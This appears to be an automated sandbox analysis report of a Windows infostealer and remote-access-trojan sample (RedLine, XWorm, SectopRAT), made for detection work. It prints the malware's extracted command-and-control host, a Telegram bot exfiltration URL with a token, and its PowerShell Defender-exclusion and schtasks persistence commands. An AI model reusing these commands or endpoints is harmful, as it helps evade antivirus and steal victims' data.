redline | 9b6db82d4b33285545976a603b1dfdf280e85287f3d4a03b425e75bd985a9705

Analysis

max time kernel
145s
max time network
149s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
18-05-2024 01:01

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General

Target

f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe
Size

596KB
MD5

1d3535cc01b2cc54b808a55e945707a0
SHA1

a9a563b8ee37f17c847248bb207b28086d9f4628
SHA256

f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19
SHA512

4c344a2abc7ace17a3fced1e3fcf09ac959b47d8bc1a5bf4280d46c3dccd015254a42ce722f93bbbe28f9866696db685df6209b4e863fa9e02772753eeb2ebbc
SSDEEP

12288:15/Sm4/r42toIX4IaZo2BOtdMKX8MbICwAvV6LwfAnxMlpxxWmBNIg9SWvAK:70/rX8IJ2BwNQcfAnxgDzBx

Score

10^/10

redline sectoprat xworm vic discovery execution infostealer persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

127.0.0.1:7000

beshomandotestbesnd.run.place:7000

Attributes

Install_directory
%ProgramData%
install_file
taskmgr.exe
telegram
https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Extracted

Family

redline

Botnet

Vic

beshomandotestbesnd.run.place:1111

Signatures

Detect Xworm Payload 4 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1960-138-0x0000000004290000-0x00000000042D0000-memory.dmp	family_xworm
behavioral1/memory/2836-137-0x0000000001130000-0x000000000114A000-memory.dmp	family_xworm
C:\ProgramData\system.exe	family_xworm
behavioral1/memory/2220-342-0x0000000001070000-0x000000000108A000-memory.dmp	family_xworm

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1960-134-0x00000000009C0000-0x00000000009DE000-memory.dmp	family_redline
C:\ProgramData\build.exe	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1960-138-0x0000000004290000-0x00000000042D0000-memory.dmp	family_sectoprat
behavioral1/memory/1960-134-0x00000000009C0000-0x00000000009DE000-memory.dmp	family_sectoprat
C:\ProgramData\build.exe	family_sectoprat

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

1344 powershell.exe
772 powershell.exe
1596 powershell.exe
1396 powershell.exe

pid	process
1344	powershell.exe
772	powershell.exe
1596	powershell.exe
1396	powershell.exe

.NET Reactor proctector 35 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

Processes:

resource	yara_rule
behavioral1/memory/2320-70-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-68-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-66-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-64-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-62-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-60-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-58-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-56-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-54-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-52-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-50-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-48-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-46-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-44-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-42-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-40-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-38-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-36-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-34-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-32-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-30-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-28-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-26-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-24-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-22-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-20-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-18-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-16-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-12-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-10-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-8-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-7-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-14-0x0000000002160000-0x00000000021BF000-memory.dmp	net_reactor
behavioral1/memory/2320-6-0x0000000002160000-0x00000000021C4000-memory.dmp	net_reactor
behavioral1/memory/2320-5-0x00000000020F0000-0x0000000002156000-memory.dmp	net_reactor

Drops startup file 2 IoCs

Processes:

system.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskmgr.lnk	system.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskmgr.lnk	system.exe

Executes dropped EXE 4 IoCs

Processes:

system.exebuild.exetaskmgr.exetaskmgr.exe

pid process

2836 system.exe
1960 build.exe
2220 taskmgr.exe
1556 taskmgr.exe

pid	process
2836	system.exe
1960	build.exe
2220	taskmgr.exe
1556	taskmgr.exe

Loads dropped DLL 3 IoCs

Processes:

f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exesystem.exe

pid	process
2320	f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe
2320	f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe
2836	system.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

system.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\taskmgr = "C:\\ProgramData\\taskmgr.exe"	system.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

6 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

2256 schtasks.exe

flow	ioc
6	ip-api.com

pid	process
2256	schtasks.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

build.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	build.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	build.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	build.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	build.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	build.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	build.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

system.exe

pid process

2836 system.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exesystem.exebuild.exe

pid process

772 powershell.exe
1596 powershell.exe
1396 powershell.exe
1344 powershell.exe
2836 system.exe
1960 build.exe
1960 build.exe

pid	process
2836	system.exe

pid	process
772	powershell.exe
1596	powershell.exe
1396	powershell.exe
1344	powershell.exe
2836	system.exe
1960	build.exe
1960	build.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

Processes:

f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exesystem.exebuild.exepowershell.exepowershell.exepowershell.exepowershell.exetaskmgr.exetaskmgr.exe

description	pid	process
Token: SeDebugPrivilege	2320	f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe
Token: SeDebugPrivilege	2836	system.exe
Token: SeDebugPrivilege	1960	build.exe
Token: SeDebugPrivilege	772	powershell.exe
Token: SeDebugPrivilege	1596	powershell.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	2836	system.exe
Token: SeDebugPrivilege	2220	taskmgr.exe
Token: SeDebugPrivilege	1556	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

system.exe

pid process

2836 system.exe

pid	process
2836	system.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exesystem.exetaskeng.exe

description	pid	process	target process
PID 2320 wrote to memory of 2836	2320	f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe	system.exe
PID 2320 wrote to memory of 2836	2320	f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe	system.exe
PID 2320 wrote to memory of 2836	2320	f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe	system.exe
PID 2320 wrote to memory of 2836	2320	f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe	system.exe
PID 2320 wrote to memory of 1960	2320	f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe	build.exe
PID 2320 wrote to memory of 1960	2320	f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe	build.exe
PID 2320 wrote to memory of 1960	2320	f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe	build.exe
PID 2320 wrote to memory of 1960	2320	f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe	build.exe
PID 2836 wrote to memory of 772	2836	system.exe	powershell.exe
PID 2836 wrote to memory of 772	2836	system.exe	powershell.exe
PID 2836 wrote to memory of 772	2836	system.exe	powershell.exe
PID 2836 wrote to memory of 1596	2836	system.exe	powershell.exe
PID 2836 wrote to memory of 1596	2836	system.exe	powershell.exe
PID 2836 wrote to memory of 1596	2836	system.exe	powershell.exe
PID 2836 wrote to memory of 1396	2836	system.exe	powershell.exe
PID 2836 wrote to memory of 1396	2836	system.exe	powershell.exe
PID 2836 wrote to memory of 1396	2836	system.exe	powershell.exe
PID 2836 wrote to memory of 1344	2836	system.exe	powershell.exe
PID 2836 wrote to memory of 1344	2836	system.exe	powershell.exe
PID 2836 wrote to memory of 1344	2836	system.exe	powershell.exe
PID 2836 wrote to memory of 2256	2836	system.exe	schtasks.exe
PID 2836 wrote to memory of 2256	2836	system.exe	schtasks.exe
PID 2836 wrote to memory of 2256	2836	system.exe	schtasks.exe
PID 1444 wrote to memory of 2220	1444	taskeng.exe	taskmgr.exe
PID 1444 wrote to memory of 2220	1444	taskeng.exe	taskmgr.exe
PID 1444 wrote to memory of 2220	1444	taskeng.exe	taskmgr.exe
PID 1444 wrote to memory of 1556	1444	taskeng.exe	taskmgr.exe
PID 1444 wrote to memory of 1556	1444	taskeng.exe	taskmgr.exe
PID 1444 wrote to memory of 1556	1444	taskeng.exe	taskmgr.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe
"C:\Users\Admin\AppData\Local\Temp\f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2320

C:\ProgramData\system.exe
"C:\ProgramData\system.exe"
2⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\system.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1596

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\taskmgr.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1344

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"
3⤵
- Creates scheduled task(s)
PID:2256

C:\ProgramData\build.exe
"C:\ProgramData\build.exe"
2⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1960

C:\Windows\system32\taskeng.exe
taskeng.exe {AFD61021-DB39-46A2-B623-AF382B6D7B01} S-1-5-21-2297530677-1229052932-2803917579-1000:HKULBIBU\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1444

C:\ProgramData\taskmgr.exe
C:\ProgramData\taskmgr.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2220

C:\ProgramData\taskmgr.exe
C:\ProgramData\taskmgr.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\build.exe
Filesize
95KB

MD5
16280875fdcf55ab4c8f1dff6dabc72e

SHA1
39880e6fbb258f4f4fa5c79337ec893acae55fb7

SHA256
91455ac8837ff1fdba7067cd3e7f790c1649ae70164ccbdf0483eae831a7253a

SHA512
53ba4e5e88a8f19ba3faa2f1244501c2d62827a9178ec0fdc995582e03e7d8e39f2dfd7bde11285781a65a021d4f4aab48b94be66a8a1cebbd47ab0cb819202e

Download Submit
C:\ProgramData\system.exe
Filesize
75KB

MD5
70b9f8ef4c4ce24fe372b292aebcd138

SHA1
5fd7ce9318727b27db0dd50effbb632686d53f8c

SHA256
15af516d88e83cfc8d3deebe7aeb9ccaebc558fc93544ef31b612113fcce907b

SHA512
b4658ccb665aa9f43cc049a51c477a0b314c5c13d254d648e34f9feca9feb06021bbf271857f73998e31cc7f877fa5457fbe7420beb58f3563fbfbe121a4cbad

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
